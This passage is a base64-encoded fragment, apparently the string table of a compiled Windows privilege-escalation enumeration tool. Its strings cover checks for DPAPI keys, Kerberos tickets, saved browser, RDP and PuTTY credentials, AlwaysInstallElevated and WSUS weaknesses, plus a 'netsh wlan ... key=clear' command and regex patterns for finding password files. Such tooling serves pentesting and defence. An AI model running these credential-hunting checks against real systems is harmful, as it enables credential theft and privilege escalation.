AewAwACwALQAyADAAfQB7ADEALAAtADUANQB9AHsAMgB9AAErUgBlAGMAZQBuAHQAbAB5ACAAcgB1AG4AIABjAG8AbQBtAGEAbgBkAHMAAD1DAGgAZQBjAGsAaQBuAGcAIABmAG8AcgAgAEQAUABBAFAASQAgAE0AYQBzAHQAZQByACAASwBlAHkAcwAAgJloAHQAdABwAHMAOgAvAC8AYgBvAG8AawAuAGgAYQBjAGsAdAByAGkAYwBrAHMALgB4AHkAegAvAHcAaQBuAGQAbwB3AHMALwB3AGkAbgBkAG8AdwBzAC0AbABvAGMAYQBsAC0AcAByAGkAdgBpAGwAZQBnAGUALQBlAHMAYwBhAGwAYQB0AGkAbwBuACMAZABwAGEAcABpAAGApUYAbwBsAGwAbwB3ACAAdABoAGUAIABwAHIAbwB2AGkAZABlAGQAIABsAGkAbgBrACAAZgBvAHIAIABmAHUAcgB0AGgAZQByACAAaQBuAHMAdAByAHUAYwB0AGkAbwBuAHMAIABpAG4AIABoAG8AdwAgAHQAbwAgAGQAZQBjAHIAeQBwAHQAIAB0AGgAZQAgAG0AYQBzAHQAZQByAGsAZQB5AC4AADtDAGgAZQBjAGsAaQBuAGcAIABmAG8AcgAgAEMAcgBlAGQAZQBuAHQAaQBhAGwAIABGAGkAbABlAHMAAIClRgBvAGwAbABvAHcAIAB0AGgAZQAgAHAAcgBvAHYAaQBkAGUAZAAgAGwAaQBuAGsAIABmAG8AcgAgAGYAdQByAHQAaABlAHIAIABpAG4AcwB0AHIAdQBjAHQAaQBvAG4AcwAgAGkAbgAgAGgAbwB3ACAAdABvACAAZABlAGMAcgB5AHAAdAAgAHQAaABlACAAYwByAGUAZABzACAAZgBpAGwAZQAARUMAaABlAGMAawBpAG4AZwAgAGYAbwByACAAUgBEAEMATQBhAG4AIABTAGUAdAB0AGkAbgBnAHMAIABGAGkAbABlAHMAAIDRaAB0AHQAcABzADoALwAvAGIAbwBvAGsALgBoAGEAYwBrAHQAcgBpAGMAawBzAC4AeAB5AHoALwB3AGkAbgBkAG8AdwBzAC8AdwBpAG4AZABvAHcAcwAtAGwAbwBjAGEAbAAtAHAAcgBpAHYAaQBsAGUAZwBlAC0AZQBzAGMAYQBsAGEAdABpAG8AbgAjAHIAZQBtAG8AdABlAC0AZABlAHMAawB0AG8AcAAtAGMAcgBlAGQAZQBuAHQAaQBhAGwALQBtAGEAbgBhAGcAZQByAAFvRAB1AG0AcAAgAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAgAGYAcgBvAG0AIABSAGUAbQBvAHQAZQAgAEQAZQBzAGsAdABvAHAAIABDAG8AbgBuAGUAYwB0AGkAbwBuACAATQBhAG4AYQBnAGUAcgAAgKNGAG8AbABsAG8AdwAgAHQAaABlACAAcAByAG8AdgBpAGQAZQBkACAAbABpAG4AawAgAGYAbwByACAAZgB1AHIAdABoAGUAcgAgAGkAbgBzAHQAcgB1AGMAdABpAG8AbgBzACAAaQBuACAAaABvAHcAIAB0AG8AIABkAGUAYwByAHkAcAB0ACAAdABoAGUAIAAuAHIAZABnACAAZgBpAGwAZQAAOUwAbwBvAGsAaQBuAGcAIABmAG8AcgAgAGsAZQByAGIAZQByAG8AcwAgAHQAaQBjAGsAZQB0AHMAAHtoAHQAdABwAHMAOgAvAC8AYgBvAG8AawAuAGgAYQBjAGsAdAByAGkAYwBrAHMALgB4AHkAegAvAHAAZQBuAHQAZQBzAHQAaQBuAGcALwBwAGUAbgB0AGUAcwB0AGkAbgBnAC0AawBlAHIAYgBlAHIAbwBzAC0AOAA4AAFBTABvAG8AawBpAG4AZwAgAGYAbwByACAAawBlAHIAYgBlAHIAbwBzACAAVABHAFQAIAB0AGkAYwBrAGUAdABzAAAnTABvAG8AawBpAG4AZwAgAHMAYQB2AGUAZAAgAFcAaQBmAGkAcwAACToAIAAuACoAACN3AGwAYQBuACAAcwBoAG8AdwAgAHAAcgBvAGYAaQBsAGUAABNuAGUAdABzAGgALgBlAHgAZQAAgLlJAGYAIAB5AG8AdQAgAHcAYQBuAHQAIAB0AG8AIABsAGkAcwB0ACAAcwBhAHYAZQBkACAAVwBpAGYAaQBzACAAYwBvAG4AbgBlAGMAdABpAG8AbgBzACAAeQBvAHUAIABjAGEAbgAgAGwAaQBzAHQAIAB0AGgAZQAgAHUAcwBpAG4AZwAgACcAbgBlAHQAcwBoACAAdwBsAGEAbgAgAHMAaABvAHcAIABwAHIAbwBmAGkAbABlACcAAYCzSQBmACAAeQBvAHUAIAB3AGEAbgB0ACAAdABvACAAZwBlAHQAIAB0AGgAZQAgAGMAbABlAGEAcgAtAHQAZQB4AHQAIABwAGEAcwBzAHcAbwByAGQAIAB1AHMAZQAgACcAbgBlAHQAcwBoACAAdwBsAGEAbgAgAHMAaABvAHcAIABwAHIAbwBmAGkAbABlACAAPABTAFMASQBEAD4AIABrAGUAeQA9AGMAbABlAGEAcgAnAAElTABvAG8AawBpAG4AZwAgAEEAcABwAEMAbQBkAC4AZQB4AGUAAICjaAB0AHQAcABzADoALwAvAGIAbwBvAGsALgBoAGEAYwBrAHQAcgBpAGMAawBzAC4AeAB5AHoALwB3AGkAbgBkAG8AdwBzAC8AdwBpAG4AZABvAHcAcwAtAGwAbwBjAGEAbAAtAHAAcgBpAHYAaQBsAGUAZwBlAC0AZQBzAGMAYQBsAGEAdABpAG8AbgAjAGEAcABwAGMAbQBkAC0AZQB4AGUAAVElAHMAeQBzAHQAZQBtAHIAbwBvAHQAJQBcAHMAeQBzAHQAZQBtADMAMgBcAGkAbgBlAHQAcwByAHYAXABhAHAAcABjAG0AZAAuAGUAeABlAAA5IAAgACAAIABBAHAAcABDAG0AZAAuAGUAeABlACAAdwBhAHMAIABmAG8AdQBuAGQAIABpAG4AIAAAgKMlAHMAeQBzAHQAZQBtAHIAbwBvAHQAJQBcAHMAeQBzAHQAZQBtADMAMgBcAGkAbgBlAHQAcwByAHYAXABhAHAAcABjAG0AZAAuAGUAeABlACAAWQBvAHUAIABzAGgAbwB1AGwAZAAgAHQAcgB5ACAAdABvACAAcwBlAGEAcgBjAGgAIABmAG8AcgAgAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAKUwAbwBvAGsAaQBuAGcAIABTAFMAQwBsAGkAZQBuAHQALgBlAHgAZQAAgKloAHQAdABwAHMAOgAvAC8AYgBvAG8AawAuAGgAYQBjAGsAdAByAGkAYwBrAHMALgB4AHkAegAvAHcAaQBuAGQAbwB3AHMALwB3AGkAbgBkAG8AdwBzAC0AbABvAGMAYQBsAC0AcAByAGkAdgBpAGwAZQBnAGUALQBlAHMAYwBhAGwAYQB0AGkAbwBuACMAcwBjAGMAbABpAGUAbgB0AC0AcwBjAGMAbQABSyUAcwB5AHMAdABlAG0AcgBvAG8AdAAlAFwAVwBpAG4AZABvAHcAcwBcAEMAQwBNAFwAUwBDAEMAbABpAGUAbgB0AC4AZQB4AGUAAD0gACAAIAAgAFMAQwBDAGwAaQBlAG4AdAAuAGUAeABlACAAdwBhAHMAIABmAG8AdQBuAGQAIABpAG4AIAAAbyUAcwB5AHMAdABlAG0AcgBvAG8AdAAlAFwAVwBpAG4AZABvAHcAcwBcAEMAQwBNAFwAUwBDAEMAbABpAGUAbgB0AC4AZQB4AGUAIABEAEwATAAgAFMAaQBkAGUAIABsAG8AYQBkAGkAbgBnAD8AAD1DAGgAZQBjAGsAaQBuAGcAIABBAGwAdwBhAHkAcwBJAG4AcwB0AGEAbABsAEUAbABlAHYAYQB0AGUAZAAAgLloAHQAdABwAHMAOgAvAC8AYgBvAG8AawAuAGgAYQBjAGsAdAByAGkAYwBrAHMALgB4AHkAegAvAHcAaQBuAGQAbwB3AHMALwB3AGkAbgBkAG8AdwBzAC0AbABvAGMAYQBsAC0AcAByAGkAdgBpAGwAZQBnAGUALQBlAHMAYwBhAGwAYQB0AGkAbwBuACMAYQBsAHcAYQB5AHMAaQBuAHMAdABhAGwAbABlAGwAZQB2AGEAdABlAGQAAVtTAG8AZgB0AHcAYQByAGUAXABQAG8AbABpAGMAaQBlAHMAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABJAG4AcwB0AGEAbABsAGUAcgAAK0EAbAB3AGEAeQBzAEkAbgBzAHQAYQBsAGwARQBsAGUAdgBhAHQAZQBkAABXIAAgACAAIABBAGwAdwBhAHkAcwBJAG4AcwB0AGEAbABsAEUAbABlAHYAYQB0AGUAZAAgAHMAZQB0ACAAdABvACAAMQAgAGkAbgAgAEgASwBMAE0AIQAAVyAAIAAgACAAQQBsAHcAYQB5AHMASQBuAHMAdABhAGwAbABFAGwAZQB2AGEAdABlAGQAIABzAGUAdAAgAHQAbwAgADEAIABpAG4AIABIAEsAQwBVACEAAFMgACAAIAAgAEEAbAB3AGEAeQBzAEkAbgBzAHQAYQBsAGwARQBsAGUAdgBhAHQAZQBkACAAaQBzAG4AJwB0ACAAYQB2AGEAaQBsAGEAYgBsAGUAARtDAGgAZQBjAGsAaQBuAGcAIABXAFMAVQBTAACAl2gAdAB0AHAAcwA6AC8ALwBiAG8AbwBrAC4AaABhAGMAawB0AHIAaQBjAGsAcwAuAHgAeQB6AC8AdwBpAG4AZABvAHcAcwAvAHcAaQBuAGQAbwB3AHMALQBsAG8AYwBhAGwALQBwAHIAaQB2AGkAbABlAGcAZQAtAGUAcwBjAGEAbABhAHQAaQBvAG4AIwB3AHMAdQBzAAFjUwBvAGYAdAB3AGEAcgBlAFwAUABvAGwAaQBjAGkAZQBzAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAVwBpAG4AZABvAHcAcwBVAHAAZABhAHQAZQAAEVcAVQBTAGUAcgB2AGUAcgAAF1UAcwBlAFcAVQBTAGUAcgB2AGUAcgAAD2gAdAB0AHAAOgAvAC8AADEgACAAIAAgAFcAUwBVAFMAIABpAHMAIAB1AHMAaQBuAGcAIABoAHQAdABwADoAIAAAgI1ZAG8AdQAgAGMAYQBuACAAdABlAHMAdAAgAGgAdAB0AHAAcwA6AC8ALwBnAGkAdABoAHUAYgAuAGMAbwBtAC8AcABpAG0AcABzAC8AdwBzAHUAeABwAGwAbwBpAHQAIAB0AG8AIABlAHMAYwBhAGwAYQB0AGUAIABwAHIAaQB2AGkAbABlAGcAZQBzAABxIAAgACAAIABBAG4AZAAgAFUAcwBlAFcAVQBTAGUAcgB2AGUAcgAgAGkAcwAgAGUAcQB1AGEAbABzACAAdABvACAAMQAsACAAcwBvACAAaQB0ACAAaQBzACAAdgB1AGwAbgBlAHIAYQBiAGwAZQAhAAB5IAAgACAAIABCAHUAdAAgAFUAcwBlAFcAVQBTAGUAcgB2AGUAcgAgAGkAcwAgAGUAcQB1AGEAbABzACAAdABvACAAMAAsACAAcwBvACAAaQB0ACAAaQBzACAAbgBvAHQAIAB2AHUAbABuAGUAcgBhAGIAbABlACEAAEMgACAAIAAgAEIAdQB0ACAAVQBzAGUAVwBVAFMAZQByAHYAZQByACAAaQBzACAAZQBxAHUAYQBsAHMAIAB0AG8AIAAALywAIABzAG8AIABpAHQAIABtAGEAeQAgAHcAbwByAGsAIABvAHIAIABuAG8AdAAAISAAIAAgACAAVwBTAFUAUwAgAHYAYQBsAHUAZQA6ACAAAC9MAG8AbwBrAGkAbgBnACAAZgBvAHIAIABGAGkAcgBlAGYAbwB4ACAARABCAHMAAAtUADEANQAwADMAAICvaAB0AHQAcABzADoALwAvAGIAbwBvAGsALgBoAGEAYwBrAHQAcgBpAGMAawBzAC4AeAB5AHoALwB3AGkAbgBkAG8AdwBzAC8AdwBpAG4AZABvAHcAcwAtAGwAbwBjAGEAbAAtAHAAcgBpAHYAaQBsAGUAZwBlAC0AZQBzAGMAYQBsAGEAdABpAG8AbgAjAGIAcgBvAHcAcwBlAHIAcwAtAGgAaQBzAHQAbwByAHkAAU8gACAAIAAgAEYAaQByAGUAZgBvAHgAIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMAIABmAGkAbABlACAAZQB4AGkAcwB0AHMAIABhAHQAIAAAbVIAdQBuACAAUwBoAGEAcgBwAFcAZQBiACAAKABoAHQAdABwAHMAOgAvAC8AZwBpAHQAaAB1AGIALgBjAG8AbQAvAGQAagBoAG8AaABuAHMAdABlAGkAbgAvAFMAaABhAHIAcABXAGUAYgApAABdTABvAG8AawBpAG4AZwAgAGYAbwByACAARwBFAFQAIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMAIABpAG4AIABGAGkAcgBlAGYAbwB4ACAAaABpAHMAdABvAHIAeQAALUwAbwBvAGsAaQBuAGcAIABmAG8AcgAgAEMAaAByAG8AbQBlACAARABCAHMAAE0gACAAIAAgAEMAaAByAG8AbQBlACAAYwBvAG8AawBpAGUAcwAgAGQAYQB0AGEAYgBhAHMAZQAgAGUAeABpAHMAdABzACAAYQB0ACAAAGVGAG8AbABsAG8AdwAgAHQAaABlACAAcAByAG8AdgBpAGQAZQBkACAAbABpAG4AawAgAGYAbwByACAAZgB1AHIAdABoAGUAcgAgAGkAbgBzAHQAcgB1AGMAdABpAG8AbgBzAC4AAFUgACAAIAAgAEMAaAByAG8AbQBlACAAcwBhAHYAZQBkACAAbABvAGcAaQBuACAAZABhAHQAYQBiAGEAcwBlACAAZQB4AGkAcwB0AHMAIABhAHQAIAAAW0wAbwBvAGsAaQBuAGcAIABmAG8AcgAgAEcARQBUACAAYwByAGUAZABlAG4AdABpAGEAbABzACAAaQBuACAAQwBoAHIAbwBtAGUAIABoAGkAcwB0AG8AcgB5AAAhQwBoAHIAbwBtAGUAIABiAG8AbwBrAG0AYQByAGsAcwAAC1QAMQAyADEANwAAH0MAdQByAHIAZQBuAHQAIABJAEUAIAB0AGEAYgBzAABTTABvAG8AawBpAG4AZwAgAGYAbwByACAARwBFAFQAIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMAIABpAG4AIABJAEUAIABoAGkAcwB0AG8AcgB5AAAZSQBFACAAZgBhAHYAbwByAGkAdABlAHMAAB1QAHUAdAB0AHkAIABTAGUAcwBzAGkAbwBuAHMAAHlQAHIAbwB4AHkAUABhAHMAcwB3AG8AcgBkAC4AKgB8AFAAdQBiAGwAaQBjAEsAZQB5AEYAaQBsAGUALgAqAHwASABvAHMAdABOAGEAbQBlAC4AKgB8AFAAbwByAHQARgBvAHIAdwBhAHIAZABpAG4AZwBzAC4AKgAAJ1AAdQB0AHQAeQAgAFMAUwBIACAASABvAHMAdAAgAGsAZQB5AHMAAClTAFMASAAgAGsAZQB5AHMAIABpAG4AIAByAGUAZwBpAHMAdAByAHkAAIC3aAB0AHQAcABzADoALwAvAGIAbwBvAGsALgBoAGEAYwBrAHQAcgBpAGMAawBzAC4AeAB5AHoALwB3AGkAbgBkAG8AdwBzAC8AdwBpAG4AZABvAHcAcwAtAGwAbwBjAGEAbAAtAHAAcgBpAHYAaQBsAGUAZwBlAC0AZQBzAGMAYQBsAGEAdABpAG8AbgAjAHMAcwBoAC0AawBlAHkAcwAtAGkAbgAtAHIAZQBnAGkAcwB0AHIAeQABgJ9JAGYAIAB5AG8AdQAgAGYAaQBuAGQAIABhAG4AeQB0AGgAaQBuAGcAIABoAGUAcgBlACwAIABmAG8AbABsAG8AdwAgAHQAaABlACAAbABpAG4AawAgAHQAbwAgAGwAZQBhAHIAbgAgAGgAbwB3ACAAdABvACAAZABlAGMAcgB5AHAAdAAgAHQAaABlACAAUwBTAEgAIABrAGUAeQBzAAAlTwBwAGUAbgBTAFMASABcAEEAZwBlAG4AdABcAEsAZQB5AHMAACNDAGwAbwB1AGQAIABDAHIAZQBkAGUAbgB0AGkAYQBsAHMAACNUADEANQAzADgAJgBUADEAMAA4ADMAJgBUADEAMAA4ADEAAIC/aAB0AHQAcABzADoALwAvAGIAbwBvAGsALgBoAGEAYwBrAHQAcgBpAGMAawBzAC4AeAB5AHoALwB3AGkAbgBkAG8AdwBzAC8AdwBpAG4AZABvAHcAcwAtAGwAbwBjAGEAbAAtAHAAcgBpAHYAaQBsAGUAZwBlAC0AZQBzAGMAYQBsAGEAdABpAG8AbgAjAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAtAGkAbgBzAGkAZABlAC0AZgBpAGwAZQBzAAFTIAAgACAAIAB7ADAAfQBbAHsAMQB9AF0ACgAgACAAIAAgAEEAYwBjAGUAcwBzAGUAZAA6AHsAMgB9ACAALQAtACAAUwBpAHoAZQA6AHsAMwB9AAEfVQBuAG4AYQB0AHQAZQBuAGQAIABGAGkAbABlAHMAAE9MAG8AbwBrAGkAbgBnACAAZgBvAHIAIABjAG8AbQBtAG8AbgAgAFMAQQBNACAAJgAgAFMAWQBTAFQARQBNACAAYgBhAGMAawB1AHAAcwAAS0wAbwBvAGsAaQBuAGcAIABmAG8AcgAgAE0AYwBBAGYAZQBlACAAUwBpAHQAZQBsAGkAcwB0AC4AeABtAGwAIABGAGkAbABlAHMAAClDAGEAYwBoAGUAZAAgAEcAUABQACAAUABhAHMAcwB3AG8AcgBkAHMAABdjAHAAYQBzAHMAdwBvAHIAZAAuACoAABUgACAAIAAgAEYAbwB1AG4AZAAgAAA7UwBvAGYAdAB3AGEAcgBlAFwATwBSAEwAXABXAGkAbgBWAE4AQwAzAFwAUABhAHMAcwB3AG8AcgBkAAAxUwBvAGYAdAB3AGEAcgBlAFwAVABpAGcAaAB0AFYATgBDAFwAUwBlAHIAdgBlAHIAAEdTAG8AZgB0AHcAYQByAGUAXABTAGkAbQBvAG4AVABhAHQAaABhAG0AXABQAHUAVABUAFkAXABTAGUAcwBzAGkAbwBuAHMAAE1TAFkAUwBUAEUATQBcAEMAdQByAHIAZQBuAHQAQwBvAG4AdAByAG8AbABTAGUAdABcAFMAZQByAHYAaQBjAGUAcwBcAFMATgBNAFAAAElMAG8AbwBrAGkAbgBnACAAZgBvAHIAIABwAG8AcwBzAGkAYgBsAGUAIAByAGUAZwBzACAAdwBpAHQAaAAgAGMAcgBlAGQAcwAAF1QAMQAwADEAMgAmAFQAMQAyADEANAAAgLVoAHQAdABwAHMAOgAvAC8AYgBvAG8AawAuAGgAYQBjAGsAdAByAGkAYwBrAHMALgB4AHkAegAvAHcAaQBuAGQAbwB3AHMALwB3AGkAbgBkAG8AdwBzAC0AbABvAGMAYQBsAC0AcAByAGkAdgBpAGwAZQBnAGUALQBlAHMAYwBhAGwAYQB0AGkAbwBuACMAaQBuAHMAaQBkAGUALQB0AGgAZQAtAHIAZQBnAGkAcwB0AHIAeQABMVMATwBGAFQAVwBBAFIARQBcAFIAZQBhAGwAVgBOAEMAXABXAGkAbgBWAE4AQwA0AAATcABhAHMAcwB3AHcAbwByAGQAAC8qAGMAcgBlAGQAZQBuAHQAaQBhAGwAKgA7ACoAcABhAHMAcwB3AG8AcgBkACoAAICTWwBjAEMAXQBbAHIAUgBdAFsAZQBFAF0AWwBkAEQAXQBbAGUARQBdAFsAbgBOAF0AWwB0AFQAXQBbAGkASQBdAFsAYQBBAF0AWwBsAEwAXQB8AFsAcABQAF0AWwBhAEEAXQBbAHMAUwBdAFsAcwBTAF0AWwB3AFcAXQBbAG8ATwBdAFsAcgBSAF0AWwBkAEQAXQAACS4AdAB4AHQAAAsuAGMAbwBuAGYAAAkuAGMAbgBmAAAJLgB5AG0AbAAACy4AeQBhAG0AbAAACS4AZABvAGMAAAsuAGQAbwBjAHgAAAsuAHgAbABzAHgAAAsuAGoAcwBvAG4AAAkuAHgAbQBsAABlTABvAG8AawBpAG4AZwAgAGYAbwByACAAcABvAHMAcwBpAGIAbABlACAAcABhAHMAcwB3AG8AcgBkACAAZgBpAGwAZQBzACAAaQBuACAAdQBzAGUAcgBzACAAaABvAG0AZQBzAAAXVAAxADAAOAAzACYAVAAxADAAOAAxAAAJewAwAH0AXAAADVwAVQBzAGUAcgBzAAADLgAAMTsAKgBwAGEAcwBzAHcAbwByAGQAKgA7ACoAYwByAGUAZABlAG4AdABpAGEAbAAqAAA5fAAuACoAcABhAHMAcwB3AG8AcgBkAC4AKgB8AC4AKgBjAHIAZQBkAGUAbgB0AGkAYQBsAC4AKgAAXUwAbwBvAGsAaQBuAGcAIABpAG4AcwBpAGQAZQAgAHQAaABlACAAUgBlAGMAeQBjAGwAZQAgAEIAaQBuACAAZgBvAHIAIABjAHIAZQBkAHMAIABmAGkAbABlAHMAACNUADEAMAA4ADMAJgBUADEAMAA4ADEAJgBUADEAMQA0ADUAAGlTAGUAYQByAGMAaABpAG4AZwAgAGsAbgBvAHcAbgAgAGYAaQBsAGUAcwAgAHQAaABhAHQAIABjAGEAbgAgAGMAbwBuAHQAYQBpAG4AIABjAHIAZQBkAHMAIABpAG4AIABoAG8AbQBlAABHTABvAG8AawBpAG4AZwAgAGYAbwByACAAZABvAGMAdQBtAGUAbgB0AHMAIAAtAC0AbABpAG0AaQB0ACAAMQAwADAALQAtAAELVAAxADAAOAAzAAAzUgBlAGMAZQBuAHQAIABmAGkAbABlAHMAIAAtAC0AbABpAG0AaQB0ACAANwAwAC0ALQABFXIAbwBvAHQAXABjAGkAbQB2ADIAADdTAEUATABFAEMAVAAgACoAIABGAFIATwBNACAAdwBpAG4AMwAyAF8AcwBlAHIAdgBpAGMAZQAAQ1MAWQBTAFQARQBNAFwAQwB1AHIAcgBlAG4AdABDAG8AbgB0AHIAbwBsAFMAZQB0AFwAUwBlAHIAdgBpAGMAZQBzAABFUwBZAFMAVABFAE0AXABDAHUAcgByAGUAbgB0AEMAbwBuAHQAcgBvAGwAUwBlAHQAXABTAGUAcgB2AGkAYwBlAHMAXAAAE0kAbQBhAGcAZQBQAGEAdABoAAAZXABTAHkAcwB0AGUAbQBSAG8AbwB0AFwAABslAFMAeQBzAHQAZQBtAFIAbwBvAHQAJQBcAAADMwAAAzQAAAM1AAAJQgBvAG8AdAAADVMAeQBzAHQAZQBtAAARQQB1AHQAbwBsAG8AYQBkAAANTQBhAG4AdQBhAGwAACFHAGUAdABTAGUAcgB2AGkAYwBlAEgAYQBuAGQAbABlAABDcwB5AHMAdABlAG0AXABjAHUAcgByAGUAbgB0AGMAbwBuAHQAcgBvAGwAcwBlAHQAXABzAGUAcgB2AGkAYwBlAHMAAEVzAHkAcwB0AGUAbQBcAGMAdQByAHIAZQBuAHQAYwBvAG4AdAByAG8AbABzAGUAdABcAHMAZQByAHYAaQBjAGUAcwBcAABPSABLAEwATQBcAHMAeQBzAHQAZQBtAFwAYwB1AHIAcgBlAG4AdABjAG8AbgB0AHIAbwBsAHMAZQB0AFwAcwBlAHIAdgBpAGMAZQBzAFwAAFtTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABSAHUAbgAAY1MATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFIAdQBuAE8AbgBjAGUAAHNTAE8ARgBUAFcAQQBSAEUAXABXAG8AdwA2ADQAMwAyAE4AbwBkAGUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABSAHUAbgAAe1MATwBGAFQAVwBBAFIARQBcAFcAbwB3ADYANAAzADIATgBvAGQAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFIAdQBuAE8AbgBjAGUAAGlTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABSAHUAbgBTAGUAcgB2AGkAYwBlAABxUwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAUgB1AG4ATwBuAGMAZQBTAGUAcgB2AGkAYwBlAACAgVMATwBGAFQAVwBBAFIARQBcAFcAbwB3ADYANAAzADIATgBvAGQAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFIAdQBuAFMAZQByAHYAaQBjAGUAAICJUwBPAEYAVABXAEEAUgBFAFwAVwBvAHcANgA0ADMAMgBOAG8AZABlAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAUgB1AG4ATwBuAGMAZQBTAGUAcgB2AGkAYwBlAAALSABLAEwATQBcAAB5UwBZAFMAVABFAE0AXABDAHUAcgByAGUAbgB0AEMAbwBuAHQAcgBvAGwAUwBlAHQAXABDAG8AbgB0AHIAbwBsAFwAUwBlAHMAcwBpAG8AbgAgAE0AYQBuAGEAZwBlAHIAXABFAG4AdgBpAHIAbwBuAG0AZQBuAHQAAAlQAEEAVABIAAAZTQBhAG4AdQBmAGEAYwB0AHUAcgBlAHIAACttAGkAYwByAG8AcwBvAGYAdAAgAGMAbwByAHAAbwByAGEAdABpAG8AbgAAC00AbwBkAGUAbAAAD1YASQBSAFQAVQBBAEwAAA12AG0AdwBhAHIAZQAAFVYAaQByAHQAdQBhAGwAQgBvAHgAAFlTAG8AZgB0AHcAYQByAGUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAIABOAFQAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AABdQAHIAbwBkAHUAYwB0AE4AYQBtAGUAABNFAGQAaQB0AGkAbwBuAEkARAAAE1IAZQBsAGUAYQBzAGUASQBkAAAXQgB1AGkAbABkAEIAcgBhAG4AYwBoAAAzQwB1AHIAcgBlAG4AdABNAGEAagBvAHIAVgBlAHIAcwBpAG8AbgBOAHUAbQBiAGUAcgAAHUMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgAALVAAUgBPAEMARQBTAFMATwBSAF8AQQBSAEMASABJAFQARQBDAFQAVQBSAEUAAF1TAEUATABFAEMAVAAgAEgAbwB0AEYAaQB4AEkARAAgAEYAUgBPAE0AIABXAGkAbgAzADIAXwBRAHUAaQBjAGsARgBpAHgARQBuAGcAaQBuAGUAZQByAGkAbgBnAAARSABvAHQARgBpAHgASQBEAAARSABvAHMAdABuAGEAbQBlAAAXRABvAG0AYQBpAG4AIABOAGEAbQBlAAAZQQByAGMAaABpAHQAZQBjAHQAdQByAGUAAB1QAHIAbwBjAGUAcwBzAG8AcgBDAG8AdQBuAHQAABVTAHkAcwB0AGUAbQBMAGEAbgBnAAAZSwBlAHkAYgBvAGEAcgBkAEwAYQBuAGcAABFUAGkAbQBlAFoAbwBuAGUAACFJAHMAVgBpAHIAdAB1AGEAbABNAGEAYwBoAGkAbgBlAAAZQwB1AHIAcgBlAG4AdAAgAFQAaQBtAGUAABtIAGkAZwBoAEkAbgB0AGUAZwByAGkAdAB5AAAZUABhAHIAdABPAGYARABvAG0AYQBpAG4AAClyAG8AbwB0AFwAUwBlAGMAdQByAGkAdAB5AEMAZQBuAHQAZQByADIAAD1TAEUATABFAEMAVAAgACoAIABGAFIATwBNACAAQQBuAHQAaQBWAGkAcgB1AHMAUAByAG8AZAB1AGMAdAAAF2QAaQBzAHAAbABhAHkATgBhAG0AZQAAFVAAcgBvAGQAdQBjAHQARQBYAEUAAC1wAGEAdABoAFQAbwBTAGkAZwBuAGUAZABQAHIAbwBkAHUAYwB0AEUAeABlAAAxcABhAHQAaABUAG8AUwBpAGcAbgBlAGQAUgBlAHAAbwByAHQAaQBuAGcARQB4AGUAAHNTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABQAG8AbABpAGMAaQBlAHMAXABTAHkAcwB0AGUAbQAANUMAbwBuAHMAZQBuAHQAUAByAG8AbQBwAHQAQgBlAGgAYQB2AGkAbwByAEEAZABtAGkAbgAAJXsAMAB9ACAALQAgAE4AbwAgAHAAcgBvAG0AcAB0AGkAbgBnAAE3ewAwAH0AIAAtACAAUAByAG8AbQBwAHQATwBuAFMAZQBjAHUAcgBlAEQAZQBzAGsAdABvAHAAAUt7ADAAfQAgAC0AIABQAHIAbwBtAHAAdABQAGUAcgBtAGkAdABEAGUAbgB5AE8AbgBTAGUAYwB1AHIAZQBEAGUAcwBrAHQAbwBwAAFNewAwAH0AIAAtACAAUAByAG8AbQBwAHQARgBvAHIAQwByAGUAZABzAE4AbwB0AE8AbgBTAGUAYwB1AHIAZQBEAGUAcwBrAHQAbwBwAAFXewAwAH0AIAAtACAAUAByAG8AbQBwAHQARgBvAHIAUABlAHIAbQBpAHQARABlAG4AeQBOAG8AdABPAG4AUwBlAGMAdQByAGUARABlAHMAawB0AG8AcAABQ3sAMAB9ACAALQAgAFAAcgBvAG0AcAB0AEYAbwByAE4AbwBuAFcAaQBuAGQAbwB3AHMAQgBpAG4AYQByAGkAZQBzAAErUABvAHcAZQByAFMAaABlAGwAbAAgAHYAMgAgAFYAZQByAHMAaQBvAG4AAGFTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAAxAFwAUABvAHcAZQByAFMAaABlAGwAbABFAG4AZwBpAG4AZQAAI1AAbwB3AGUAcgBTAGgAZQBsAGwAVgBlAHIAcwBpAG8AbgA